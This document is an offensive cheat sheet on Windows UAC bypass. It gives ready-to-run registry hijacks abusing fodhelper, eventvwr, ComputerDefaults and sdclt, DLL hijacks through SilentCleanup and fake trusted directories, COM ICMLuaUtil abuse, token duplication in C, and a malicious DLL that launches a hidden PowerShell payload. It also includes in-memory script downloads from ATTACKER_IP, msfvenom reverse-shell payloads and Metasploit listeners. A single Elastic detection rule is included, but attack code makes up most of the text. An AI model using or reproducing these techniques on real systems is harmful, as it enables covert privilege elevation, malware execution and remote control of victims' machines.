UAC Bypass Techniques

Initial foothold — Meterpreter / reverse shell:
├─ User: IEUser (member of Administrators group)
├─ Integrity Level: MEDIUM
├─ Can: Read most files, write to HKCU, run user-land code
├─ Cannot: Write to HKLM, system32, load drivers, kill AV
└─ Result: Many post-exploitation actions are BLOCKED by UAC

Attacker wants to:
├─ Add AV exclusions     → Requires HKLM write   → BLOCKED
├─ Dump credentials      → Requires SeDebugPrivilege → NOT GRANTED
├─ Install persistence   → Requires HKLM or system folder → BLOCKED
└─ Lateral movement      → Requires SeImpersonatePrivilege → NOT GRANTED

After successful UAC bypass:
├─ Integrity Level: HIGH
├─ SeDebugPrivilege:         ✓ ENABLED
├─ SeImpersonatePrivilege:   ✓ ENABLED
├─ SeLoadDriverPrivilege:    ✓ ENABLED
├─ SeTakeOwnershipPrivilege: ✓ ENABLED
└─ Result: Full admin-level post-exploitation unlocked

Important distinction:

UAC Bypass:
├─ Start:  Medium integrity, local Administrator group member
├─ End:    High integrity, local Administrator group member
└─ Note:   You need local admin FIRST — this is elevation, not escalation

Local Privilege Escalation (LPE):
├─ Start:  Low/Medium integrity, standard user (NOT admin)
├─ End:    SYSTEM or Administrator
└─ Note:   This is a true privilege escalation (CVE-based, service abuse, etc.)

Integrity Level Hierarchy (low → high):

UNTRUSTED  (IL 0)   — Sandboxed apps, very rare
LOW        (IL 1)   — Browser sandboxes, Acrobat Reader sandbox
MEDIUM     (IL 2)   — Default for logged-in users, including admins
HIGH       (IL 3)   — Elevated processes (post-UAC consent)
SYSTEM     (IL 4)   — NT AUTHORITY\SYSTEM processes
PROTECTED  (IL 5)   — Anti-cheat, secure boot components

UAC Bypass Goal:
Medium (IL 2) → High (IL 3) silently, no prompt

Normal elevation (UAC prompt shown):
User launches app → AppInfo service checks:
├─ Is binary signed by Microsoft?
├─ Is binary in a trusted location (system32)?
├─ Does manifest request highest execution level?
└─ Result → Show consent prompt → User clicks Yes → Elevated

Auto-elevation (NO prompt — what bypasses abuse):
├─ Binary is signed by Microsoft ✓
├─ Binary is in System32 ✓
├─ Manifest has: autoElevate = true ✓
└─ Result → Silently elevated → NO PROMPT SHOWN

Auto-elevating binaries (partial list):
├─ fodhelper.exe     (Windows Features on Demand)
├─ eventvwr.exe      (Event Viewer)
├─ sdclt.exe         (Backup & Restore)
├─ ComputerDefaults.exe (Default app settings)
├─ slui.exe          (Software Licensing UI)
├─ cmstp.exe         (MS Connection Manager)
└─ consent.exe       (UAC UI — itself elevated)

Process token attributes for UAC tracking:

LUA://HdAutoAp        — Process IS an auto-elevated application
LUA://DecHdAutoAp     — Process is a DESCENDANT of an auto-elevated app

Why this matters for detection:
├─ Any child of an auto-elevated binary inherits DecHdAutoAp
├─ If that child is cmd.exe, powershell.exe → suspicious
└─ Elastic, Defender for Endpoint use this for behaviour detection

# Query current UAC level
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

# Key values:
# EnableLUA                   = 1   (UAC enabled) | 0 (UAC disabled — no bypass needed)
# ConsentPromptBehaviorAdmin  = 5   (default — prompt for non-Windows binaries only)
#                             = 2   (Always Notify — ALL bypasses below will fail)
#                             = 0   (No prompt at all — no bypass needed)
# PromptOnSecureDesktop       = 1   (prompt on secure desktop)

:: Check current integrity level and privileges
whoami /all

:: Specifically check groups — look for "Medium Mandatory Level"
whoami /groups | findstr "Mandatory Level"

:: Check which privileges are currently enabled
whoami /priv

Expected output (pre-bypass):
Mandatory Label\Medium Mandatory Level    Label    S-1-16-8192

Privileges — pre-bypass (Medium):
SeShutdownPrivilege          Shut down the system       Disabled
SeChangeNotifyPrivilege      Bypass traverse checking   Enabled
SeUndockPrivilege            Remove computer from dock  Disabled

After bypass — desired output (High):
Mandatory Label\High Mandatory Level      Label    S-1-16-12288

SeDebugPrivilege             Debug programs             Enabled  ← KEY
SeImpersonatePrivilege       Impersonate after auth     Enabled  ← KEY
SeLoadDriverPrivilege        Load and unload drivers    Disabled
SeTakeOwnershipPrivilege     Take ownership of objects  Disabled

:: Query ConsentPromptBehaviorAdmin
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

:: Query EnableLUA (is UAC on at all?)
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

# Full recon one-liner
$Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
$IsAdmin = $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
$UAC = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin

Write-Host "[*] Is elevated: $IsAdmin"
Write-Host "[*] UAC level (ConsentPromptBehaviorAdmin): $UAC"
Write-Host "[*] Current user: $env:USERNAME"
Write-Host "[*] Groups: $([Security.Principal.WindowsIdentity]::GetCurrent().Groups | ForEach-Object { $_.Translate([Security.Principal.NTAccount]).Value })"

:: Verify fodhelper.exe has autoElevate=true
where /r C:\windows fodhelper.exe
strings64.exe -accepteula C:\Windows\System32\fodhelper.exe | findstr /i autoelevate

:: Or use sigcheck from Sysinternals
sigcheck.exe -m C:\Windows\System32\fodhelper.exe | findstr -i "autoelevate"

Expected output showing autoElevate:
...
<autoElevate>true</autoElevate>
...
→ This binary CAN be used for UAC bypass

:: Step 1: Create the registry structure
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d "" /f

:: Step 2: Set the command to execute (replace cmd.exe with your payload)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe" /f

:: Step 3: Trigger the bypass
fodhelper.exe

:: Step 4: Cleanup (important for OPSEC)
reg delete "HKCU\Software\Classes\ms-settings" /f

# One-block fodhelper bypass — spawns elevated cmd.exe
# Replace "cmd.exe" with your payload path

$command = "cmd.exe"  # ← change this to your payload

# Write registry keys
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "(Default)" -Value $command -Force

# Trigger
Start-Process "C:\Windows\System32\fodhelper.exe"

# Cleanup (run after payload connects back)
Start-Sleep -Seconds 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

# improved-fodhelper.ps1 — reusable UAC bypass function

function Invoke-FodhelperBypass {
    param(
        [Parameter(Mandatory=$true)]
        [String]$Program           # Program or command to run elevated
    )

    # Create registry hive
    $RegPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"

    New-Item $RegPath -Force | Out-Null
    New-ItemProperty $RegPath -Name "DelegateExecute" -Value "" -Force | Out-Null
    Set-ItemProperty $RegPath -Name "(Default)" -Value $Program -Force

    Write-Host "[*] Registry hijack set: $RegPath"
    Write-Host "[*] Command: $Program"
    Write-Host "[*] Launching fodhelper..."

    # Trigger bypass
    $proc = Start-Process "C:\Windows\System32\fodhelper.exe" -PassThru
    Start-Sleep -Seconds 2

    # Cleanup
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
    Write-Host "[+] Registry cleaned up"
}

# Usage examples:
# Invoke-FodhelperBypass -Program "cmd.exe"
# Invoke-FodhelperBypass -Program "powershell.exe -w hidden -e <base64payload>"
# Invoke-FodhelperBypass -Program "C:\Windows\Tasks\payload.exe"

# On victim — download and execute bypass script entirely in memory
# Run from existing medium-integrity shell

IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/improved-fodhelper.ps1')
Invoke-FodhelperBypass -Program "powershell.exe -w hidden -e BASE64_ENCODED_PAYLOAD"

# Attacker (Kali) — generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
    -f exe -o payload.exe

# Host payload
python3 -m http.server 80

# Listener
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; \
    set LHOST 192.168.1.10; set LPORT 4444; run"

# Victim — download payload then trigger bypass
(New-Object Net.WebClient).DownloadFile('http://192.168.1.10/payload.exe','C:\Windows\Tasks\p.exe')
Invoke-FodhelperBypass -Program "C:\Windows\Tasks\p.exe"

:: Plant the registry key
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f

:: Trigger Event Viewer
eventvwr.exe

:: Cleanup
reg delete "HKCU\Software\Classes\mscfile" /f

# Eventvwr UAC bypass
$RegPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
$Payload = "cmd.exe"   # ← replace with your payload

New-Item $RegPath -Force | Out-Null
Set-ItemProperty $RegPath "(Default)" $Payload

# Trigger
Start-Process "C:\Windows\System32\eventvwr.exe"
Start-Sleep 3

# Cleanup
Remove-Item "HKCU:\Software\Classes\mscfile\" -Recurse -Force
Write-Host "[+] Done — check for elevated shell"

// eventvwr-bypassuac.c
// Compile: x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypass.exe

#include <windows.h>
#include <stdio.h>

#define REGPATH "Software\\Classes\\mscfile\\shell\\open\\command"
// Change this to your payload name (must be in same directory)
#define PAYLOAD "shell.exe"

int main(void) {
    HKEY hKey;
    char payloadPath[MAX_PATH];
    char currentDir[MAX_PATH];

    // Build full payload path
    GetCurrentDirectoryA(MAX_PATH, currentDir);
    snprintf(payloadPath, MAX_PATH, "%s\\%s", currentDir, PAYLOAD);

    printf("[*] Payload path: %s\n", payloadPath);

    // Create registry key
    if (RegCreateKeyExA(HKEY_CURRENT_USER, REGPATH, 0, NULL,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) != ERROR_SUCCESS) {
        fprintf(stderr, "[-] Failed to create registry key\n");
        return 1;
    }

    // Set default value to payload path
    if (RegSetValueExA(hKey, "", 0, REG_SZ,
            (BYTE*)payloadPath, (DWORD)strlen(payloadPath) + 1) != ERROR_SUCCESS) {
        fprintf(stderr, "[-] Failed to set registry value\n");
        RegCloseKey(hKey);
        return 1;
    }
    RegCloseKey(hKey);
    printf("[+] Registry key set\n");

    // Trigger Event Viewer (auto-elevates and reads our key)
    printf("[*] Launching eventvwr.exe...\n");
    ShellExecuteA(NULL, "open", "C:\\Windows\\System32\\eventvwr.exe",
                  NULL, NULL, SW_HIDE);
    Sleep(3000);

    // Cleanup
    RegDeleteKeyA(HKEY_CURRENT_USER, REGPATH);
    printf("[+] Registry cleaned\n");
    return 0;
}

# Cross-compile on Kali
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypass.exe

# Generate the reverse shell payload first
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=443 -f exe > shell.exe

# Upload both files to victim, run eventvwr-bypass.exe

# ComputerDefaults UAC bypass
# Uses the exact same registry path as fodhelper

$Payload = "C:\Windows\Tasks\payload.exe"   # ← your payload

# Download payload first
(New-Object Net.WebClient).DownloadFile("http://ATTACKER_IP/payload.exe", $Payload)

# Write registry hijack
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "(Default)" -Value $Payload -Force

# Trigger ComputerDefaults instead of fodhelper
Start-Process "C:\Windows\System32\ComputerDefaults.exe"

Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

:: Full chain — download, plant, trigger, cleanup
powershell -w hidden -c "
    (New-Object Net.WebClient).DownloadFile('http://192.168.1.10/p.exe','C:\Windows\Tasks\p.exe');
    New-Item 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Force | Out-Null;
    New-ItemProperty 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name 'DelegateExecute' -Value '' -Force | Out-Null;
    Set-ItemProperty 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name '(Default)' -Value 'C:\Windows\Tasks\p.exe' -Force;
    Start-Process 'C:\Windows\System32\ComputerDefaults.exe';
    Start-Sleep 3;
    Remove-Item 'HKCU:\Software\Classes\ms-settings\' -Recurse -Force
"

:: Method 1: Folder handler
reg add "HKCU\Software\Classes\Folder\shell\open\command" /ve /d "cmd.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /t REG_SZ /d "" /f

:: Trigger
sdclt.exe

:: Cleanup
reg delete "HKCU\Software\Classes\Folder" /f

# Method 2: exefile\runas IsolatedCommand

$Payload = "cmd.exe"   # ← replace with your payload

$RegPath = "HKCU:\Software\Classes\exefile\shell\runas\command"
New-Item $RegPath -Force | Out-Null
New-ItemProperty $RegPath -Name "IsolatedCommand" -Value $Payload -Force | Out-Null

# Trigger — must use /kickoffelev flag to hit this code path
Start-Process "C:\Windows\System32\sdclt.exe" -ArgumentList "/kickoffelev"

Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\exefile\" -Recurse -Force

function Invoke-SdcltBypass {
    param(
        [String]$Payload = "cmd.exe",
        [ValidateSet("folder","isolated")]
        [String]$Method = "folder"
    )

    if ($Method -eq "folder") {
        $Path = "HKCU:\Software\Classes\Folder\shell\open\command"
        New-Item $Path -Force | Out-Null
        New-ItemProperty $Path -Name "DelegateExecute" -Value "" -Force | Out-Null
        Set-ItemProperty $Path "(Default)" $Payload -Force
        Start-Process "C:\Windows\System32\sdclt.exe"
        Start-Sleep 3
        Remove-Item "HKCU:\Software\Classes\Folder\" -Recurse -Force
    }
    elseif ($Method -eq "isolated") {
        $Path = "HKCU:\Software\Classes\exefile\shell\runas\command"
        New-Item $Path -Force | Out-Null
        New-ItemProperty $Path -Name "IsolatedCommand" -Value $Payload -Force | Out-Null
        Start-Process "C:\Windows\System32\sdclt.exe" -ArgumentList "/kickoffelev"
        Start-Sleep 3
        Remove-Item "HKCU:\Software\Classes\exefile\" -Recurse -Force
    }

    Write-Host "[+] sdclt bypass attempted via $Method method"
}

# Usage:
# Invoke-SdcltBypass -Payload "C:\payload.exe" -Method "folder"
# Invoke-SdcltBypass -Payload "cmd.exe" -Method "isolated"

# Redirect %windir% to attacker-controlled folder
# taskhostw.exe will load DLLs from FakeWinDir\System32

$FakeWinDir = "C:\Users\$env:USERNAME\AppData\Local\Temp\FakeWin"
$System32   = "$FakeWinDir\System32"

# Create fake directory structure
New-Item -ItemType Directory -Path $System32 -Force | Out-Null

# Drop malicious DLL (must be named npmproxy.dll — what taskhostw loads)
# This DLL should run your payload when loaded
Copy-Item "C:\path\to\malicious.dll" "$System32\npmproxy.dll"

# Override windir in HKCU (only affects current user — no admin needed)
$env:windir = $FakeWinDir
[System.Environment]::SetEnvironmentVariable("windir", $FakeWinDir, "User")

# Run SilentCleanup scheduled task — taskhostw.exe launches elevated,
# tries to load npmproxy.dll from %windir%\System32 → loads our DLL instead
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DiskCleanup\" -TaskName "SilentCleanup"

Start-Sleep 5

# Cleanup — restore windir
[System.Environment]::SetEnvironmentVariable("windir", $null, "User")
$env:windir = "C:\Windows"
Remove-Item $FakeWinDir -Recurse -Force

// npmproxy_payload.c — Drop as npmproxy.dll
// Compiled DLL that spawns an elevated reverse shell when loaded
// Compile: x86_64-w64-mingw32-gcc -shared -o npmproxy.dll npmproxy_payload.c

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Run payload when DLL is first loaded
        // Replace command with your C2 callback or reverse shell
        STARTUPINFOA si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;

        char cmd[] = "cmd.exe /c \"powershell.exe -w hidden -e BASE64PAYLOAD\"";
        CreateProcessA(NULL, cmd, NULL, NULL, FALSE,
                       CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    }
    return TRUE;
}

# Metasploit automated SilentCleanup bypass
msf6 > use exploit/windows/local/bypassuac_silentcleanup
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.1.10
msf6 exploit(...) > set LPORT 4445
msf6 exploit(...) > run

# Metasploit drops a PS1 script in %TEMP%, triggers the task, then cleans up automatically

// IFileOperation_DLLCopy.cs
// Uses COM IFileOperation to drop DLL into System32 (no prompt)
// Requires: Medium integrity process + UAC not set to Always Notify

using System;
using System.Runtime.InteropServices;

class IFileOpBypass {
    // IFileOperation COM interface GUID
    static Guid CLSID_FileOperation = new Guid("3ad05575-8857-4850-9277-11b85bdb8e09");
    static Guid IID_IFileOperation  = new Guid("947aab5f-0a5c-4c13-b4d6-4bf7836fc9f8");

    [ComImport, Guid("947aab5f-0a5c-4c13-b4d6-4bf7836fc9f8"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    interface IFileOperation {
        void Advise(IntPtr pfops, out uint pdwCookie);
        void Unadvise(uint dwCookie);
        void SetOperationFlags(uint dwOperationFlags);
        void SetProgressMessage([MarshalAs(UnmanagedType.LPWStr)] string pszMessage);
        void SetProgressDialog(IntPtr popd);
        void GetAnyOperationsAborted(out bool pfAnyOperationsAborted);
        void MoveItem(IntPtr psiItem, IntPtr psiDestinationFolder, string pszNewName, IntPtr pfopsItem);
        void MoveItems(IntPtr punkItems, IntPtr psiDestinationFolder);
        void CopyItem(IntPtr psiItem, IntPtr psiDestinationFolder, string pszCopyName, IntPtr pfopsItem);
        void CopyItems(IntPtr punkItems, IntPtr psiDestinationFolder);
        void DeleteItem(IntPtr psiItem, IntPtr pfopsItem);
        void DeleteItems(IntPtr punkItems);
        void NewItem(IntPtr psiDestinationFolder, uint dwFileAttributes,
            [MarshalAs(UnmanagedType.LPWStr)] string pszName,
            [MarshalAs(UnmanagedType.LPWStr)] string pszTemplateName, IntPtr pfopsItem);
        void PerformOperations();
    }

    static void Main(string[] args) {
        if (args.Length < 2) {
            Console.WriteLine("Usage: IFileOpBypass.exe <source_dll> <dest_filename_in_system32>");
            Console.WriteLine("Example: IFileOpBypass.exe C:\\Temp\\evil.dll wbemcomn.dll");
            return;
        }

        string sourceDll = args[0];
        string destName  = args[1];
        string destPath  = @"C:\Windows\System32\";

        Console.WriteLine($"[*] Source: {sourceDll}");
        Console.WriteLine($"[*] Dest:   {destPath}{destName}");

        // Create IFileOperation COM object
        Type foType = Type.GetTypeFromCLSID(CLSID_FileOperation);
        IFileOperation fo = (IFileOperation)Activator.CreateInstance(foType);

        // FOF_NOCONFIRMATION | FOFX_SHOWELEVATIONPROMPT | FOF_SILENT
        fo.SetOperationFlags(0x0614);

        // ... (simplified — full implementation uses IShellItem for source/dest)
        // In practice: use SHCreateItemFromParsingName to get IShellItem for source and dest folder
        // then call fo.CopyItem(srcShellItem, destFolderShellItem, destName, null)
        fo.PerformOperations();

        Console.WriteLine("[+] File operation completed — DLL placed in System32");
    }
}

Target: WerFault.exe running as SYSTEM
Missing DLL: wow64log.dll (not present in System32 by default)

Attack chain:
1. IFileOperation → copy malicious wow64log.dll → System32\wow64log.dll
2. Trigger WerFault.exe (crash reporting — auto-elevated)
3. WerFault.exe loads wow64log.dll from System32
4. DLL executes at SYSTEM integrity

Detection: dllhost.exe writing to System32 followed by non-MS signed DLL 
           loaded by a SYSTEM process

// Detect IFileOperation DLL drop + non-MS DLL loaded by SYSTEM process
sequence by host.id
  [file where event.action in ("creation", "overwrite", "rename", "modification") and
   process.name : "dllhost.exe" and
   user.id : "S-1-5-21-*" and
   (file.extension : "dll" or file.Ext.header_bytes : "4d5a*") and
   file.path : ("?:\\Windows\\system32\\*", "?:\\Windows\\syswow64\\*")]
  by file.path
  [library where
   user.id : "S-1-5-18" and
   process.executable : ("?:\\Windows\\system32\\*", "?:\\Windows\\syswow64\\*") and
   not (dll.code_signature.subject_name : "Microsoft *" and dll.code_signature.trusted == true)]
  by dll.path

# PowerShell — Abuse ICMLuaUtil elevated COM interface
# ICMLuaUtil exposes a ShellExec method that runs as elevated

$ICMLuaUtil = [Type]::GetTypeFromCLSID([Guid]"6EDD6D74-C007-4E75-B76A-E5740995E24C")
$Instance   = [Activator]::CreateInstance($ICMLuaUtil)

# ShellExec parameters: operation, file, parameters, directory, show
# This spawns cmd.exe elevated, no UAC prompt
$Instance.ShellExec("open", "cmd.exe", "/c start calc.exe", "C:\Windows\System32\", 0)

[Runtime.InteropServices.Marshal]::ReleaseComObject($Instance) | Out-Null

# IColorDataProxy elevated COM interface
$CLSID = [Guid]"D2E7041B-2927-42fb-8E9F-7CE93B6DC937"
$IID   = [Guid]"6EDD6D74-C007-4E75-B76A-E5740995E24C"

$obj = [Activator]::CreateInstance([Type]::GetTypeFromCLSID($CLSID))
# Invoke the elevated method to execute payload

// com_uac_bypass.c
// Abuses ICMLuaUtil elevated COM interface
// Compile: cl.exe com_uac_bypass.c /link ole32.lib shell32.lib

#include <windows.h>
#include <objbase.h>
#include <stdio.h>

// ICMLuaUtil interface definition
DEFINE_GUID(CLSID_ICMLuaUtil, 0x6EDD6D74, 0xC007, 0x4E75, 
            0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C);

// ShellExec method vtable offset (index 3)
typedef HRESULT (__stdcall *ShellExecFn)(
    void* This,
    LPCWSTR pszFile,
    LPCWSTR pszParameters,
    LPCWSTR pszDirectory,
    ULONG fMask,
    ULONG nShow
);

int main(void) {
    HRESULT hr;
    IUnknown* pICMLuaUtil = NULL;

    CoInitialize(NULL);

    // Instantiate the elevated COM object
    hr = CoCreateInstance(&CLSID_ICMLuaUtil, NULL, CLSCTX_LOCAL_SERVER,
                          &IID_IUnknown, (void**)&pICMLuaUtil);
    if (FAILED(hr)) {
        printf("[-] CoCreateInstance failed: 0x%08lx\n", hr);
        return 1;
    }
    printf("[+] ICMLuaUtil instance created\n");

    // Get ShellExec from vtable (method index 3 = offset 3*8 on x64)
    void** vtable = *(void***)pICMLuaUtil;
    ShellExecFn ShellExec = (ShellExecFn)vtable[3];

    // Execute payload — runs elevated
    hr = ShellExec(pICMLuaUtil,
                   L"cmd.exe",           // File to execute
                   L"/c calc.exe",       // Parameters (replace with payload)
                   L"C:\\Windows\\",     // Working directory
                   0,                    // fMask
                   SW_SHOW);

    if (SUCCEEDED(hr)) {
        printf("[+] ShellExec succeeded — elevated process launched\n");
    } else {
        printf("[-] ShellExec failed: 0x%08lx\n", hr);
    }

    pICMLuaUtil->lpVtbl->Release(pICMLuaUtil);
    CoUninitialize();
    return 0;
}

Useful elevated COM CLSIDs for UAC bypass:

CLSID                                    | Interface         | Exposed Method
-----------------------------------------|-------------------|----------------
{6EDD6D74-C007-4E75-B76A-E5740995E24C}  | ICMLuaUtil        | ShellExec
{D2E7041B-2927-42fb-8E9F-7CE93B6DC937}  | IColorDataProxy   | LaunchDccw
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}  | IClipboardUACHelper| Various
{BDB57FF2-79B9-4205-9447-F5FE85F37312}  | IFwCplLua         | LaunchAdvancedUI
{752438CB-E941-433F-BCB4-8B7D2329F0C8}  | ITaskService      | Run (via COM)

Tool to enumerate more:
https://github.com/hfiref0x/UACME (akagi source — method implementations)
OleViewDotNet — enumerate COM objects with elevation moniker

# Find processes running at High/System integrity that current user can open
$processes = Get-Process
foreach ($p in $processes) {
    try {
        $handle = [System.Diagnostics.Process]::GetProcessById($p.Id)
        $token  = [System.Security.Principal.WindowsIdentity]::GetCurrent()
        # In practice, use OpenProcess with PROCESS_DUP_HANDLE and then
        # duplicate token — see C implementation below
    } catch {}
}

// token_uac_bypass.c
// Duplicates token from an elevated process to spawn elevated child
// Requires: Handle to an elevated process (even with limited rights)
// Compile: cl.exe token_uac_bypass.c /link advapi32.lib

#include <windows.h>
#include <stdio.h>

BOOL ElevateViaDuplication(DWORD targetPid, LPCWSTR payload) {
    HANDLE hProcess   = NULL;
    HANDLE hToken     = NULL;
    HANDLE hDupToken  = NULL;
    STARTUPINFOW si   = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    BOOL result = FALSE;

    // Open the target elevated process
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPid);
    if (!hProcess) {
        wprintf(L"[-] OpenProcess failed: %lu\n", GetLastError());
        goto cleanup;
    }

    // Get its token
    if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
        wprintf(L"[-] OpenProcessToken failed: %lu\n", GetLastError());
        goto cleanup;
    }

    // Duplicate as primary token
    if (!DuplicateTokenEx(hToken,
            TOKEN_ALL_ACCESS, NULL,
            SecurityImpersonation,
            TokenPrimary,
            &hDupToken)) {
        wprintf(L"[-] DuplicateTokenEx failed: %lu\n", GetLastError());
        goto cleanup;
    }

    wprintf(L"[+] Token duplicated successfully\n");

    // Launch payload with duplicated (elevated) token
    if (!CreateProcessWithTokenW(hDupToken, 0, NULL,
            (LPWSTR)payload, CREATE_NEW_CONSOLE,
            NULL, NULL, &si, &pi)) {
        wprintf(L"[-] CreateProcessWithTokenW failed: %lu\n", GetLastError());
        goto cleanup;
    }

    wprintf(L"[+] Elevated process spawned: PID %lu\n", pi.dwProcessId);
    result = TRUE;

cleanup:
    if (hProcess)  CloseHandle(hProcess);
    if (hToken)    CloseHandle(hToken);
    if (hDupToken) CloseHandle(hDupToken);
    return result;
}

int wmain(int argc, wchar_t* argv[]) {
    if (argc < 3) {
        wprintf(L"Usage: token_bypass.exe <PID_of_elevated_process> <payload.exe>\n");
        return 1;
    }
    DWORD pid = (DWORD)_wtoi(argv[1]);
    ElevateViaDuplication(pid, argv[2]);
    return 0;
}

# TokenPlayer — comprehensive token manipulation tool
# https://github.com/S1ckB0y1337/TokenPlayer

# UAC bypass via token duplication (spawns elevated prompt)
TokenPlayer.exe --pwnuac --spawn

# UAC bypass — execute specific payload elevated
TokenPlayer.exe --pwnuac --prog "C:\Windows\System32\cmd.exe" --args "/c whoami > C:\out.txt"

# Impersonate a specific process by PID
TokenPlayer.exe --impersonate --pid 1234 --spawn

# Execute payload under impersonated context
TokenPlayer.exe --exec --pid 1234 --prog "C:\payload.exe" --args "--connect"

:: Create directory with trailing space (requires CreateFile — Explorer can't do this)
:: Use the mklink or a script approach

:: PowerShell version
$fakePath = "\\?\" + "C:\Windows \System32"  # Trailing space — AppInfo is fooled
[System.IO.Directory]::CreateDirectory($fakePath)

:: Copy a legitimate auto-elevating binary
Copy-Item "C:\Windows\System32\winsat.exe" "C:\Windows \System32\winsat.exe"

:: Also copy the target DLL next to it — winsat loads it from its own directory first
Copy-Item "C:\path\to\malicious.dll" "C:\Windows \System32\WINMM.dll"

:: Now launch — AppInfo thinks it's C:\Windows\System32\winsat.exe → auto-elevates
:: winsat.exe loads WINMM.dll from its own (fake) directory → malicious DLL runs elevated
Start-Process "C:\Windows \System32\winsat.exe"

#!/usr/bin/env python3
# mock_trusted_dir.py
# Creates fake C:\Windows \System32\ and drops malicious DLL for bypass
# Run on Windows — requires ctypes

import ctypes
import shutil
import os

kernel32 = ctypes.windll.kernel32
FAKE_WINDIR   = r"\\?\C:\Windows \System32"
TARGET_BINARY = r"C:\Windows\System32\winsat.exe"
MALICIOUS_DLL = r"C:\path\to\evil.dll"
DLL_NAME      = "WINMM.dll"     # DLL winsat.exe loads

def create_fake_dir(path):
    """Create directory with long-path prefix (allows trailing space)."""
    try:
        os.makedirs(path, exist_ok=True)
        print(f"[+] Created: {path}")
        return True
    except Exception as e:
        print(f"[-] Failed: {e}")
        return False

if __name__ == "__main__":
    if create_fake_dir(FAKE_WINDIR):
        # Copy legitimate binary
        dest_bin = FAKE_WINDIR + r"\winsat.exe"
        shutil.copy2(TARGET_BINARY, dest_bin)
        print(f"[+] Copied binary: {dest_bin}")

        # Place malicious DLL
        dest_dll = FAKE_WINDIR + f"\\{DLL_NAME}"
        shutil.copy2(MALICIOUS_DLL, dest_dll)
        print(f"[+] Placed DLL: {dest_dll}")

        print("[*] Launch: C:\\Windows \\System32\\winsat.exe")
        print("[*] AppInfo will see trusted path → auto-elevate → load evil DLL")

:: Redefine %windir% to attacker-controlled directory
reg add "HKCU\Environment" /v windir /t REG_EXPAND_SZ /d "C:\Users\Public\FakeWin" /f

:: Create the fake directory structure
mkdir "C:\Users\Public\FakeWin\System32"

:: Copy malicious DLL (npmproxy.dll — loaded by taskhostw via CDSSync task)
copy "C:\path\to\evil.dll" "C:\Users\Public\FakeWin\System32\npmproxy.dll"

:: Run CDSSync scheduled task (runs taskhostw.exe elevated, loads from %windir%)
schtasks /Run /TN "\Microsoft\Windows\AppID\SmartScreenSpecific"

:: Or trigger directly:
:: schtasks /Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup"

:: Cleanup — restore windir
reg delete "HKCU\Environment" /v windir /f
rmdir /s /q "C:\Users\Public\FakeWin"

# SystemRoot alternative path
$FakeRoot   = "C:\Users\$env:USERNAME\AppData\Local\Temp\SysRoot"
$FakeSys32  = "$FakeRoot\System32"
$DllName    = "CRYPTBASE.dll"   # Loaded by various elevated processes

New-Item -ItemType Directory -Path $FakeSys32 -Force | Out-Null

# Drop malicious DLL
Copy-Item "C:\path\to\evil.dll" "$FakeSys32\$DllName"

# Set SystemRoot (processed at next logon / task execution)
[System.Environment]::SetEnvironmentVariable("SystemRoot", $FakeRoot, "User")
